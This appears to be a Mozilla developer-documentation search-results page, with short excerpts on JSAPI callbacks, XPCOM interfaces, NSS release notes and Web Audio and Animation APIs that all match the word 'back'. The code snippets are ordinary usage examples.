backup copy of your directory and try running the command on that first, to test it.
... but more importantly, if you look
back at your javascript file you’ll find it has been reformatted to something like this: const myobj = { a: 1, b: { c: 2 }, }; function printme(obj) { console.log(obj.b.c); } printme(myobj); depending on your workflow (or the workflow that you pick) you can make this an automated part of your process.
Gecko info for Windows accessibility vendors
so, the firefox childid handed
back from events is based on an algorithm that uses the pointer value of the related internal dom node.
... because screen readers usually cache an entire document's worth of data, it can be extremely useful for them to receive a child id that helps them correlate
back to a known object.
...ng for an item of a particular type: store a pointer to the start_item if the current item has a flows_to relation, follow that relation otherwise, go to the next item in depth first search order if the current item matches your criteria, then return current_item if the current_item == start_item, return null (no item found) if the end has been reached, go
back to the start if wrapping is desired, otherwise return null (no item found) go to step 2 checkable, required and invalid states are supported gecko defines three state constants using previously unused states: const unsigned long state_checkable = state_marqueed; // useful on menuitem, listitem // and treeitem.
...this typically happens for things like observers, timer call
backs, and (in firefox 1.5 and earlier) event listeners, and is one of the most common causes of leaks in chrome and extension code.
Lightweight themes
lightweight themes are sometimes referred to as "
background themes" or, (on addons.mozilla.org) as just "themes".
... how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui
background.
... creating a theme header image the header image is displayed as the
background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... select text and tab colors — you can choose the tab ("
background") color and foreground text color that work best with your header image.
Testopia
this would also let us get some early feed
back in case you find regressions.
... as always please
backup your installation before attempting to install or upgrade.
...this decision allows us to focus our time more on releasing new features often and early rather than
back porting.
... however, this means that most major feature will not be
back ported to earlier versions unless and until we have time to do so.
Eclipse CDT Manual Setup
there is valuable information here that should be integrated
back into that page, but a large amount of it is now taken care of by the mach project generation code.
...some of it like the section on building the index and usage tips are still relevant, and other parts still may provide useful
background information to understand it in more detail on how eclipse works.
... important
background to help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some
background on what ides need in order to provide advanced code assistance, and what eclipse cdt needs in particular.
... if you don't put just-print-mozilla-build.py somewhere in your path, then go
back to the initial project properties section where you set just-print-mozilla-build.py and specify its absolute path instead of just its name.
Contributing to the Mozilla code base
step 4b: follow it up once you've asked for a review, a reviewer will often respond within a day or two, reviewing the patch, or saying when they will be able to review it, perhaps due to a
backlog.
... if you don't hear
back within this time, naturally reach out to them: add a comment to the bug saying 'review ping?', check the "need more information from" box, and add the reviewer's name.
... go
back to step 1, as there is plenty more to do.
... now that you've got your first bug fixed you should request level 1 access to the repository to push to the try server and get automated feed
back about your changes on multiple platforms.
Experimental features in Firefox
nightly 70 no developer edition 70 no beta 70 no release 70 no preference name layout.css.aspect-ratio-number.enabled property:
backdrop-filter the
backdrop-filter property applies filter effects to the area behind an element.
... nightly 70 no developer edition 70 no beta 70 no release 70 no preference name layout.css.
backdrop-filter.enabled grid: masonry layout adds support for a masonry style layout based on grid layout where one axis has a masonry layout while having normal grid layout on the other.
... developer edition 33 no beta 33 no release 33 no preference name media.track.enabled dom document property: autoplaypolicy the document property autoplaypolicy returns a string indicating how the browser handles requests to automatically play media (either using the autoplay property on a media element or by attempting to trigger play
back from javascript code.
...this api is used to customize the handling of media-related notifications, to manage events and data useful for presenting a user interface for managing media play
back, and to obtain media file metadata.
Performance
result = helper(frameglobal.content, message.data) frameglobal.sendasyncmessage("my-addon:response-from-child", {something: result}) } function addframe(frameglobal) { frameglobal.addmessagelistener("my-addon:request-from-parent", dosomething) } javascript modules are per-process singletons and thus all their objects are only initialized once, which makes them suitable for stateless call
backs.
...nst exported_symbols = ['getmaincopy']; var maincopy; services.cpmm.addmessagelistener("my-addon:update-configuration", function(message) { maincopy = message.data.newconfig; }) funtion getmaincopy() { return maincopy; } // framescript.js components.utils.import("resource://my-addon/processmodule.jsm") // getmaincopy() used by other functions don't register observers (and other call
backs to global services) in a frame script bad: //framescript.js services.obs.addobserver("document-element-inserted", { observe: function(doc, topic, data) { if(doc.ownerglobal.top != content) return; // bail out if this is for another tab decoratedocument(doc); } }) observer notifications get fired for events that happen anywhere in the browser, they are not scoped to the ...
...if each framescript registers a seperate listener then the observed action will trigger the call
backs in all tabs.
...ng a total solar eclipse while goat blood rains from the sky sendasyncmessage('my-addon:paragraph-count', {num: content.document.queryselectorall('p').length}) } addmessagelistener("my-addon:request-from-parent", onlyonceinabluemoon) better: // addon.js function ontoolbarbutton(event) { let tabmm = gbrowser.mcurrentbrowser.frameloader.messagemanager; let button = event.target; let call
back = (message) => { tabmm.removemessagelistener("my-addon:paragraph-count", call
back) decoratebutton(button, message.data.num) } tabmm.addmessagelistener("my-addon:paragraph-count", call
back); tabmm.loadframescript("data:,sendasyncmessage('my-addon:paragraph-count', {num: content.document.queryselectorall('p').length})", false) } function decoratebutton(button, count) { // do stuff ...
mozbrowserloadend
detail the detail property returns an anonymous javascript object with the following properties:
backgroundcolor a domstring representing the main
background color of the browser <iframe> content, expressed as an rgb value.
...in addition, the
background of the controls ui bar is changed to the
background color of the site that has just loaded, to provide a more integrated experience.
... when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.
backgroundcolor value reported is rgb(0, 83, 159).
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadend',function(e) { stopreload.textcontent = 'r'; console.log(e.detail.
backgroundcolor); controls.style.
background = e.detail.
backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Browser API
they are necessary to be able to implement
back, forward, stop, and reload buttons.
... htmliframeelement.getcango
back() indicates whether it's possible to navigate
backwards.
... htmliframeelement.go
back() changes the location of the <iframe> for the previous location in its browsing history.
... mozbrowseraudioplay
backchange sent when audio starts or stops playing within the browser <iframe> content.
Application Translation with Mercurial
file paths here work starting with a slash (/) followed by the drive letter, and then the directory structure like on windows, but using slashes (/) instead of
backslashes (\).
... extract the files: hg update obtaining the texts of your localization go
back to the parent folder of mozilla-aurora: cd ..
... go
back to the localization directory: cd /c/mozilla/de-mozilla-aurora initiate mercurial queues: hg qinit get to know the translation style for having good chances that the translation suggestions get accepted, they should match the translation style of the texts in the application already translated.
... hg qnew firefox-29-aboutprivatebrowsing switch
back to winmerge and navigate to browser/chrome/browser/ and open the aboutprivatebrowsing.dtd file.
Mozilla Quirks Mode Behavior
(bug 915053) an empty string for the
background attribute sets the
background url to empty only in quirks mode.
... tables td, th, tr, thead, tbody, and tfoot elements have the document
background (and color?) applied to them (when the document
background is specified in certain ways?) (see also bug 70831).
... in quirks mode, when tables have a border style of inset or outset, the border color is based on the
background color of the table or of the nearest ancestor with non-transparent
background.
...[see nstableframe::getdeflationfor
background and figure out what really differs, and when it started differing.] gecko had bug 248239, where table cells acted as they had box-sizing:border-box applied for the purpose of the height property.
Power profiling overview
this article covers important
background information about power profiling, with an emphasis on intel processors used in desktop and laptop machines.
...these are global (whole-system) measurements that are affected by running programs but also by other things such as (for laptops) how bright the monitor
backlight is.
...even just switching a tab from the foreground to the
background can make a difference.
...in the
background.
TimerFirings logging
-991946880[7f46c365ba00]: [6775] fn timer (slack 100 ms): layeractivitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250 ms): presshell::spaintsuppressioncall
back -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200 ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000 ms): 7f46a95a0200 each line has the following information.
... 2082435840[100445640]: [81190] fn timer (one_shot 8000 ms): [from dladdr] gfxfontinfoloader::delayedstartcall
back(nsitimer*, void*) second, on linux the code uses dladdr to get the symbol library and address, which can be post-processed by tools/rb/fix_stacks.py.
...indicates that the function timer lacks an explicit name, and the comment within the square brackets explains why the fall
back mechanism wasn't used.
...(running on mac or linux is obviously necessary to learn the timer function's name.) this is done by initializing it with initwithnamedfunccall
back or initwithnameablefunccall
back instead of initwithnamecall
back.
AsyncTestUtils extended framework
this is how asynchronous call
backs get their chance to run again.
...in the future we will probably move the asynctestutils framework to a nested event loop in a
backwards-compatible fashion.
...this allows you to write reasonably normal looking functions instead of having to chain together a whole bunch of functions and call
backs.
...if you need to wrap an existing url listener or need a call
back or fancy promise, create an instance of asyncurllistener.
Anonymous Shared Memory
depending on the underlying platform, the file-mapped shared memory may be
backed by a file.
...on some platforms, no real file
backs the shared memory.
... on platforms where the shared memory is
backed by a file, the file's name in the filesystem is visible to other processes for only the duration of the creation of the file, hopefully a very short time.
...further, when all processes using an anonymous shared memory terminate, the
backing file is deleted.
PR_NormalizeTime
adjusts the fields of a clock/calendar time to their proper ranges, using a call
back function.
... params a time parameter call
back function.
... returns nothing; the time parameter is altered by the call
back function.
... description this function adjusts the fields of the specified time structure using the specified time parameter call
back function, so that they are in the proper range.
NSS 3.21 release notes
new in nss 3.21 new functionality certutil now supports a --rename option to change a nickname (bug 1142209) tls extended master secret extension (rfc 7627) is supported (bug 1117022) new info functions added for use during mid-handshake call
backs (bug 1084669) new functions in nss.h nss_optionset - sets nss global options nss_optionget - gets the current value of nss global options in secmod.h secmod_createmoduleex - create a new secmodmodule structure from module name string, module parameters string, nss specific parameters string, and nss configuration parameter string.
... in ssl.h ssl_getpreliminarychannelinfo - obtains information about a tls channel prior to the handshake being completed, for use with the call
backs that are invoked during the handshake ssl_signatureprefset - configures the enabled signature and hash algorithms for tls ssl_signatureprefget - retrieves the currently configured signature and hash algorithms ssl_signaturemaxcount - obtains the maximum number signature algorithms that can be configured with ssl_signatureprefset in utilpars.h nssutil_argparsemodulespecex - takes a module spec and breaks it into shared library string, module name strin...
... compatibility nss 3.21 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.30 release notes
support for call
back functions that can be used to monitor ssl/tls alerts that are sent or received.
... in ssl.h ssl_alertreceivedcall
back - register a call
back function, that will be called whenever an ssl/tls alert is received ssl_alertsentcall
back - register a call
back function, that will be called whenever an ssl/tls alert is sent ssl_setsessionticketkeypair - configures an asymmetric key pair, for use in wrapping session ticket keys, used by the server.
... bugs fixed in nss 3.30 this bugzilla query returns all the bugs fixed in nss 3.30: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.30 compatibility nss 3.30 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (product nss).
NSS 3.35 release notes
tls servers can screen new tls 1.3 connections, as they are made using the experimental ssl_helloretryrequestcall
back function.
... this function allows for call
backs to be installed, which are called when a server receives a new tls clienthello.
... bugs fixed in nss 3.35 this bugzilla query returns all the bugs fixed in nss 3.35: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.35 compatibility nss 3.35 shared libraries are
backward compatible with all older nss 3.x shared libraries.
... feed
back bugs discovered should be reported by filing a bug report with bugzilla.mozilla.org (select product 'nss').
Necko Architecture
if you want to move data asynchronously you need to be able to receive call
backs using an implementation of nsistreamlistener.
...if you initiate a synchronous transfer on a channel, you are handed
back a stream that you can read or write from or to.
... if you initiate an asynchronous transfer, you receive call
backs that notify you when things are happening.
...when you receive the ondataavailable() call
back, you are handed an nsiinputsteam which you can read the data from (you will more than likely need to be able to handle multiple ondataavailable() call
backs, buffering the data you receive as necessary).
JSFastNative
in js_threadsafe builds, the javascript engine calls this call
back only from within an active request on cx.
... the call
back does not need to call js_beginrequest()).
... description the call
back should use the following macros to access the fields of vp: macro name description js_callee(cx, vp) returns the function object that was called, as a jsval.
... on success, the call
back must call js_set_rval (at least once) and return js_true.
JSFinalizeOp
the garbage collector calls this call
back for each object it collects.
...implementing weak references), see js_setgccall
back.
... jsclass hooks jsclass offers the following hook: the jsclass.finalize call
back is a hook for destructor code.
... see also mxr id search for jsfinalizeop jsclass js_setgccall
back ...
JSNewEnumerateOp
this call
back overrides a portion of spidermonkey's default [[enumerate]] internal method.
...this call
back overrides a portion of spidermonkey's default [[enumerate]] internal method.
... the call
back's job is to populate properties with all property keys that the for-in loop should visit.
...(spidermonkey, noting the jsclass_new_enumerate flag, will cast that function pointer
back to type jsnewenumerateop before calling it.) the behavior depends on the value of enum_op: jsenumerate_init a new, opaque iterator state should be allocated and stored in *statep.
JSPrincipalsTranscoder
jsprincipalstranscoder is the type of a security call
back that can be configured using js_setprincipalstranscoderjsapi 1.8 and earlier or js_setruntimesecuritycall
backsadded in spidermonkey 1.8.1.
... call
back syntax typedef jsbool (*jsprincipalstranscoder)(jsxdrstate *xdr, jsprincipals **principalsp); name type description xdr jsxdrstate * the xdr reader/writer.
... description the javascript engine uses this call
back to serialize and deserialize principals.
... the call
back xdr-encodes or -decodes a principals instance, based on whether xdr->mode is jsxdr_encode, in which case *principalsp should be encoded; or jsxdr_decode, in which case implementations must return a held (via jsprincipals_hold), non-null *principalsp out parameter.
JSResolveOp
description jsresolveop call
back is a hook which is called when a property is not found on an object.
... the call
back must set *resolvedp to true and return true if the property is resolved, or set *resolvedp to false and return true if the object has no lazy property with the given id; or return false to indicate any other error.
... obsolete since jsapi 36 the call
back must return true if the property is resolved, or if the object has no lazy property with the given id; or false to indicate any other error.
... jsclass hooks jsclass offers the following hook: jsclass.resolve call
back is called when a property is not found on an object.
JS_SetPrincipalsTranscoder
set the runtime-wide principals transcoder call
back.
...in spidermonkey 1.8.1 or later, use js_setruntimesecuritycall
backs instead.
... description js_setprincipalstranscoder sets a runtime-wide call
back which the javascript engine uses to serialize and deserialize principals.
... this call
back is described at jsprincipalstranscoder.
Redis Tips
it is intended primarily for developers, and deliberately omits some topics that will be important in any redis deployment, like security and
backups.
... redis> set foo 42 ok redis> incr foo (integer) 43 redis> incrby foo 17 (integer) 60 notice that these results come
back as numbers, not strings.
... ok, now in a different shell, and another redis-cli, do this: redis2> rpush myqueue 42 now if you look
back at the first redis-cli, you'll see that it immediately popped the value off the list and said something like: redis1> 1) "myqueue" 2) "42" (26.87s) that rules!
... now in a second redis-cli, do this: redis2> publish message-channel "i like pie" publish message-channel "i like pie" (integer) 1 cast your eager gaze
back to the first shell and you will see: redis1> 1) "message" 2) "message-channel" 3) "i like pie" well strip my gears and call me shiftless!
Animated PNG graphics
apng is
backwards-compatible with png; any png decoder should be able to ignore the apng-specific chunks and display a single image.
...as per the png specification, if a 'bkgd' chunk exists it may be used to fill the canvas if there is no preferrable
background.
... 1 apng_dispose_op_
background the frame's region of the output buffer is to be cleared to fully transparent black before rendering the next frame.
... if the first 'fctl' chunk uses a dispose_op of apng_dispose_op_previous it should be treated as apng_dispose_op_
background.
Accessing the Windows Registry Using XPCOM
also notice that the path to the key has
backslashes escaped, a necessity in javascript and c++ string constants.
...as noted in the example above, you will need to escape
backslashes within the string.
... function removechildrenrecursive(wrk) { // we count
backwards because we're removing them as we go for (var i = wrk.childcount - 1; i >= 0; i--) { var name = wrk.getchildname(i); var subkey = wrk.openchild(name, wrk.access_all); removechildrenrecursive(subkey); subkey.close(); wrk.removechild(name); } } var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interface...
...it can be used as follows: var wss = components.classes["@mozilla.org/winhooks;1"] .getservice(components.interfaces.nsiwindowsregistry); var id = wss.getregistryentry(wss.hklm, "software\\microsoft\\windows\\currentversion", "productid");
backwards compatibility if you need to support firefox 1.0 and other older browser versions, you should check to see which interfaces are available.
Finishing the Component
to add the weblock component to this category, modify the weblockregistration call
back function so that it looks like this: static ns_method weblockregistration(nsicomponentmanager *acompmgr, nsifile *apath, const char *registrylocation, const char *componenttype, const nsmodulecomponentinfo *info) { nsresult rv; nscomptr<nsiservic...
...this points out an important draw
back of xpcom, which is that you cannot create an object on the stack.
... allow this nsiuri to load *_retval = pr_true; return ns_ok; } node = node->next; } return ns_ok; } at this point, all of the
backend work is complete.
... you can of course improve this
backend in many ways, but this example presents the basic creation of what is commonly referred to as a "browser helper object" like weblock.
Interfacing with the XPCOM cycle collector
if the collector finds a group of objects that all refer
back to one another, and establishes that the objects' reference counts are all accounted for by internal pointers within the group, it considers that group cyclical garbage, which it then attempts to free.
...ns_impl_cycle_collection_traverse_end finally, you need to manually add the js object to the trace method: ns_impl_cycle_collection_trace_begin(nsfoo) //if your class is a wrapper cache: //ns_impl_cycle_collection_trace_preserved_wrapper ns_impl_cycle_collection_trace_js_member_call
back(msomeobj) ns_impl_cycle_collection_trace_end note that if your class is a wrapper cache then you likely have generate code that uses ns_impl_cycle_collection_wrappercache_# macro instead of ns_impl_cycle_collection_#.
...this is the same as for the jsobject case, but using the ns_impl_cycle_collection_trace_jsval_member_call
back macro: ns_impl_cycle_collection_trace_begin(nsfoo) ...
... ns_impl_cycle_collection_trace_jsval_member_call
back(msomejsval).
Observer Notifications
inner-window-destroyed nsidomwindow called when an inner window is removed from the
backward/forward cache.
...
back the length of time the user has been idle, in milliseconds.
... topic data description places-autocomplete-feed
back-updated sent when places updates the location bar's autocompletion display.
... places-maintenance-finished sent when maintenance of the places database is complete; this is done periodically in the
background to keep the places database tidy.
operator+=
return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
operator=
return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
operator=
return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
... return values this operator returns a reference
back to the object being modified to allow operator chaining.
mozIStorageFunction
note this call
back is executed on the thread that the statement or trigger is executing on.
... if you use mozistorageconnection.executeasync() or, mozistoragestatement.executeasync() this call
back will run on a different thread from the rest of your code.
... likewise, if you execute sql on a different thread, this call
back will be executed on that thread.
... this call
back should be reentrant if any of the above applies to your use of the storage apis!
mozIStorageStatement
long aparamindex, in long avalue); void bindint64parameter(in unsigned long aparamindex, in long long avalue); void bindnullparameter(in unsigned long aparamindex); void bindblobparameter(in unsigned long aparamindex, [array,const,size_is(avaluesize)] in octet avalue, in unsigned long avaluesize); mozistoragependingstatement executeasync(mozistoragestatementcall
back acall
back); boolean executestep(); boolean step(); void execute(); attributes attribute type description columncount unsigned long number of columns returned.
...this method exists
back to gecko 1.8.0.
...the optional call
back routine receives notifications about the progress of the query.
... mozistoragependingstatement executeasync( [optional] mozistoragestatementcall
back acall
back ); parameters acall
back a call
back object that will be notified of progress, errors, and query completion.
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that handles performing
background update checks.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void adddownloadlistener(in nsirequestobserver listener); astring downloadupdate(in nsiupdate update, in boolean
background); void pausedownload(); void removedownloadlistener(in nsirequestobserver listener); nsiupdate selectupdate([array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); attributes attribute type description
backgroundchecker nsiupdatechecker the update checker being used for
background update checking.
... astring downloadupdate( in nsiupdate update, in boolean
background ); parameters update an nsiupdate object indicating the update to download.
...
background true to download the update in the
background or false to download it in the foreground.
nsIHttpChannelInternal
sisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void getrequestversion(out unsigned long major, out unsigned long minor); void getresponseversion(out unsigned long major, out unsigned long minor); void httpupgrade(in acstring aprotocolname, in nsihttpupgradelistener alistener); void setcookie(in string acookieheader); void setupfall
backchannel(in string afall
backkey); attributes attribute type description canceled boolean returns true if and only if the channel has been canceled.
...alistener the call
back object used to handle a successful upgrade.
... setupfall
backchannel() sets up this channel as an application cache fall
back channel.
... void setupfall
backchannel( in string afall
backkey ); parameters afall
backkey the fall
back key.
nsIMsgWindowCommands
mailnews/base/public/nsimsgwindow.idlscriptable this interface defines methods used by the
back end to update the user interface in a mail or news message list.
...method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder() this method is called by the
backend to change the folder displayed in the message window.
... selectmessage() this method is called by the
backend to change the displayed message.
... clearmsgpane() this method is called by the
backend when it wants to clear the message pane, for instance if you select the group header .
nsIProtocolProxyService
to access the service use: var pps = components.classes["@mozilla.org/network/protocol-proxy-service;1"] .getservice(components.interfaces.nsiprotocolproxyservice); method overview deprecated since gecko 18 nsiproxyinfo resolve(in nsiuri auri, in unsigned long aflags); nsicancelable asyncresolve(in nsiuri auri, in unsigned long aflags,in nsiprotocolproxycall
back acall
back); nsiproxyinfo newproxyinfo(in acstring atype, in autf8string ahost,in long aport, in unsigned long aflags, in unsigned long afailovertimeout, in nsiproxyinfo afailoverproxy); nsiproxyinfo getfailoverforproxy(in nsiproxyinfo aproxyinfo, in nsiuri auri, in nsresult areason); void registerfilter(in nsiprotocolproxyfilter afilter, in unsigned long aposition); ...
... nsicancelable asyncresolve( in nsiuri auri, in unsigned long aflags, in nsiprotocolproxycall
back acall
back ); parameters auri the uri to test.
... acall
back the object to be notified when the result is available.
...if canceled, the cancellation status (areason) will be forwarded to the call
back's nsiprotocolproxycall
back.onproxyavailable() method via the astatus parameter.
nsISHistoryListener
the listener can prevent any action (except adding a new session history entry) from happening by returning false from the corresponding call
back method.
...method overview boolean onhistorygo
back(in nsiuri a
backuri); boolean onhistorygoforward(in nsiuri aforwarduri); boolean onhistorygotoindex(in long aindex, in nsiuri agotouri); void onhistorynewentry(in nsiuri anewuri); boolean onhistorypurge(in long anumentries); boolean onhistoryreload(in nsiuri areloaduri, in unsigned long areloadflags); methods onhistorygo
back() called when navigating to a previous session history entry, for example due to an nsiwebnavigation.go
back() call.
... boolean onhistorygo
back( in nsiuri a
backuri ); parameters a
backuri the uri of the session history entry being navigated to.
... return value true to allow the go
back operation to proceed or false to cancel it.
nsISpeculativeConnect
method overview void speculativeconnect(in nsiuri auri, in nsiinterfacerequestor acall
backs, in nsieventtarget atarget); methods speculativeconnect() call this method to hint to the networking layer that a new transaction for the specified uri is likely to happen soon.
...void speculativeconnect( in nsiuri auri, in nsiinterfacerequestor acall
backs, in nsieventtarget atarget ); parameters auri the uri of the hinted transaction.
... acall
backs any security call
backs for use with ssl for interfaces such as nsibadcertlistener.
...atarget the thread on which the release of the call
backs will occur.
nsIUpdatePrompt
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(); void showupdateavailable(in nsiupdate update); void showupdatedownloaded(in nsiupdate update, [optional] in boolean
background); void showupdateerror(in nsiupdate update); void showupdatehistory(in nsidomwindow parent); void showupdateinstalled(); methods checkforupdates() presents a user interface that checks for and displays the available updates.
...if
background is true (for example the download was not user initiated) and the app.update.silent preference is true the call will be a no-op.
... void showupdatedownloaded( in nsiupdate update, in boolean
background optional ); parameters update an nsiupdate describing the update that was downloaded.
...
background optional an optional parameter that, if provided and true, presents a less-obtrusive, non-modal notification alert.
nsIXPConnect
in nsisupports aextraptr, in pruint32 aflags); nsivariant jstovariant(in jscontextptr ctx, in jsval value); nsivariant jsvaltovariant(in jscontextptr cx, in jsvalptr ajsval); void movewrappers(in jscontextptr ajscontext, in jsobjectptr aoldscope, in jsobjectptr anewscope); [noscript,notxpcom] void notejscontext(in jscontextptr ajscontext, in nscctraversalcall
backref acb); void releasejscontext(in jscontextptr ajscontext, in prbool nogc); void removejsholder(in voidptr aholder); native code only!
... [noscript,notxpcom] void notejscontext( in jscontextptr ajscontext, in nscctraversalcall
backref acb ); parameters ajscontext the jscontext to note.
... acb the cycle collection traversal call
back.
... void setreportalljsexceptions( in boolean reportalljsexceptions ); parameters reportalljsexceptions missing description exceptions thrown missing exception missing description setsafejscontextforcurrentthread() set fall
back jscontext to use when xpconnect can't find an appropriate context to use to execute javascript.
nsIZipWriter
attempting to perform a synchronous operation on the interface while the
background queue is in progress will throw an ns_error_in_progress exception.
... inqueue boolean true if operations are being performed in the
background queue, or false if
background operations are not in progress.
...if saveinzipas was equal to "add this file.txt" then in the zip file it will also be named "add this file.txt" further detail: this example gives futher detail on the importance of forward slashes var filetoaddtozip = fileutils.file('c:\\add this file.txt'); var saveinzipas = 'sub folder/blah.txt'; //do not use
backward slash for example do not do: 'sub folder\\blah.txt'.
... using
backward slash will not throw any errors but if this was an xpi file, firefox would not be able to read it properly.
Examine and edit CSS - Firefox Developer Tools
in the following example, a spelling error, "
background-colour" instead of "
background-color" has made the rule invalid: rule display it displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.
...(note that this setting is independent of the "browser styles" checkbox in the computed view.) user-agent styles are displayed against a different
background, and the link to the filename and line number contains the prefix (user agent): element {} rule the element {} rule at the top of the rules list isn't actually a css rule.
...for example, searching for "color" will highlight declarations containing border-bottom-color and
background-color as well as just color.: if you enclose the search query in
backticks, like this: `color`, the search is restricted to exact matches: expanding shorthand properties shorthand properties can be expanded to display their related longhand properties by clicking the arrow besides them.
... displaying pseudo-elements the rule view displays the following pseudo-elements, if they are applied to the selected element: ::after ::
backdrop ::before ::first-letter ::first-line ::selection :-moz-color-swatch :-moz-number-spin-box :-moz-number-spin-down :-moz-number-spin-up :-moz-number-text :-moz-number-wrapper :-moz-placeholder :-moz-progress-bar :-moz-range-progress :-moz-range-thumb :-moz-range-track :-moz-selection if the selected element has pseudo-elements applied to it, they are displayed before the selected element but hidden by a disclosure triangle: clicking the triangle displays them: viewing common pseudo-classes there's a button to the right of the filter box: click the button to see checkboxes that you can use to enable the :hover, :active and...
The JavaScript input interpreter - Firefox Developer Tools
to switch
back to single-line mode, click the x icon at the top of the multi-line editing pane, or press ctrl+b (windows/linux) or cmd+b (macos).
...to move
back and forward through your history: in single-line mode, use the up and down arrows.
...repeatedly typing f9 on windows and linux ( ctrl+r on mac) cycles
backwards through the matches.
...there are three ways to select an iframe using cd(): you can pass the iframe dom element: var frame = document.getelementbyid("frame1"); cd(frame); you can pass a css selector that matches the iframe: cd("#frame1"); you can pass the iframe's global window object: var frame = document.getelementbyid("frame1"); cd(frame.contentwindow); to switch the context
back to the top-level window, call cd() with no arguments: cd(); for example, suppose we have a document that embeds an iframe: <!doctype html> <html> <head> <meta charset="utf-8"> </head> <body> <iframe id="frame1" src="static/frame/my-frame1.html"></iframe> </body> </html> the iframe defines a new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> ...
Animation.finish() - Web APIs
the finish() method of the web animations api's animation interface sets the current play
back time to the end of the animation corresponding to the current play
back direction.
... that is, if the animation is playing forward, it sets the play
back time to the length of the animation sequence, and if the animation is playing in reverse (having had its reverse() method called), it sets the play
back time to 0.
... exceptions invalidstate the player's play
back rate is 0 or the animation's play
back rate is greater than 0 and the end time of the animation is infinity.
... interfaceelement.addeventlistener("mousedown", function() { try { player.finish(); } catch(e if e instanceof invalidstate) { console.log("finish() called on paused or finished animation."); } catch(e); logmyerrors(e); //pass exception object to error handler } }); the following example finishes all the animations on a single element, regardless of their direction of play
back.
Animation.reverse() - Web APIs
the animation.reverse() method of the animation interface reverses the play
back direction, meaning the animation ends at its beginning.
... if called on an unplayed animation, the whole animation is played
backwards.
... return value undefined example in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to play
backwards, causing her to get smaller.
... it is done by setting alicechange's animation.play
backrate to -1 like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.play
backrate = -1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of 'reverse()' in that specification.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
if the loop is dynamically modified during play
back, the new value will take effect on the next processing block of audio.
...thus, its behavior is independent of the value of the play
backrate parameter.
...thus, its behavior is independent of the value of the play
backrate parameter.
... play
backrate: the speed at which to render the audio stream.
AudioScheduledSourceNode.start() - Web APIs
the start() method on audioscheduledsourcenode schedules a sound to begin play
back at the specified time.
...a value of 0 (or omitting the when parameter entirely) causes the sound to start play
back immediately.
... offset optional a floating-point number indicating the offset, in seconds, into the audio buffer where play
back should begin.
... if 0 is passed then the play
back will start from the beginning.
BaseAudioContext.createBuffer() - Web APIs
note: createbuffer() used to be able to take compressed data and give
back decoded samples, but this ability was removed from the spec, because all the decoding was done on the main thread, therefore createbuffer() was blocking other code execution.
... the asynchronous method decodeaudiodata() does the same thing — takes compressed audio, say, an mp3 file, and directly gives you
back an audiobuffer that you can then set to play via in an audiobuffersourcenode.
... examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played
back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds.
... var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer (one channel), that, when played
back on an audiocontext running at 44100hz, will be automatically *resampled* to 44100hz (and therefore yield 44100 frames), and last for 1.0 second: 44100 frames / 44100hz = 1 second.
BaseAudioContext.createIIRFilter() - Web APIs
